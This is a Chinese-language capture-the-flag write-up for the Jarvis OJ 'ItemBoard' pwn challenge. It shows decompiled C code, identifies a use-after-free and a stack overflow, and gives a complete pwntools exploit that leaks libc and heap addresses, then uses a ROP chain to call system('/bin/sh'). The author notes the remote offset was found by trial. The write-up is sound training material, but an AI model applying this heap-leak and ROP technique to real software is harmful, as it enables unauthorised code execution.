nc pwn2.jarvisoj.com 9887
Hint1: 本题附件已更新,请大家重新下载以免影响解题。
ItemBoard.rar.6da1c739ca3041f37c37a9c0cf99afca
函数free过程中,set_null是空的,程序存在着UAF
void __cdecl new_item() { int v0; // eax char buf[1024]; // [rsp+0h] [rbp-410h] BYREF int content_len; // [rsp+404h] [rbp-Ch] Item *item; // [rsp+408h] [rbp-8h] item = (Item *)malloc(0x18uLL); v0 = items_cnt++; item_array[v0] = item; item->name = (char *)malloc(0x20uLL); item->free = (void (*)(ItemStruct *))item_free; puts("New Item"); puts("Item name?"); fflush(stdout); read_until(0, buf, 32, '\n'); strcpy(item->name, buf); puts("Description's len?"); fflush(stdout); content_len = read_num(); item->description = (char *)malloc(content_len); puts("Description?"); fflush(stdout); read_until(0, buf, content_len, '\n'); strcpy(item->description, buf); puts("Add Item Successfully!"); }
函数中存在栈溢出,content_len是为我们所指定的,程序不存在canary保护,因此exp如下:
from pwn import * def new_item(name, length, description): io.recvuntil('choose:\n') io.sendline('1') io.recvuntil('Item name?\n') io.sendline(name) io.recvuntil("Description's len?\n") io.sendline(str(length)) io.recvuntil('Description?\n') io.sendline(description) def list_item(): io.recvuntil('choose:\n') io.sendline('2') def show_item(num): io.recvuntil('choose:\n') io.sendline('3') io.recvuntil('Which item?\n') io.sendline(str(num)) def remove_item(num): io.recvuntil('choose:\n') io.sendline('4') io.recvuntil('Which item?\n') io.sendline(str(num)) io = process('./itemboard') #io = gdb.debug('./itemboard', 'b *$rebase(0xAC7)') #io = remote('pwn2.jarvisoj.com', 9887) elf = ELF('./itemboard') libc = elf.libc #libc = ELF('./libc-2.19.so') main_arena = 0x3C4B20 #main_arena = 0x3C2760 #context.log_level = 'debug' new_item('a', 0x80, 'a') new_item('a', 0x80, 'a') new_item('a', 1, 'a') remove_item(0) show_item(0) io.recvuntil('Description:') libc_addr = u64(io.recvline().strip().ljust(8, b'\x00')) info("libc_addr:" + str(hex(libc_addr))) libc_base = libc_addr - main_arena - 88 info("libc_base:" + str(hex(libc_base))) system_addr = libc_base + libc.symbols['system'] info("system_addr:" + str(hex(system_addr))) binsh_addr = libc_base + next(libc.search(b'/bin/sh')) info("binsh_addr:" + str(hex(binsh_addr))) pop_rdi = libc_base + 0x21112 #pop_rdi = libc_base + 0x22b9a info("pop_rdi:" + str(hex(pop_rdi))) remove_item(1) show_item(1) io.recvuntil('Description:') heap_addr = u64(io.recvline().strip().ljust(8, b'\x00')) info("heap_addr:" + str(hex(heap_addr))) heap_base = heap_addr - 0x510 info("heap_base:" + str(hex(heap_base))) payload = b'a' * 1032 + p64(libc_addr - 8) + p64(0) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) new_item('a', len(payload), payload) io.interactive()
不过这个exp在本地能通,远程的heap_addr不能正确返回,所以原先打算用的heap_base + 8用不了,现在的payload的libc_addr - 8是试出来的,要求是如果把libc_addr - 8当作一个Item结构体的话,它的description是一个可写入的地方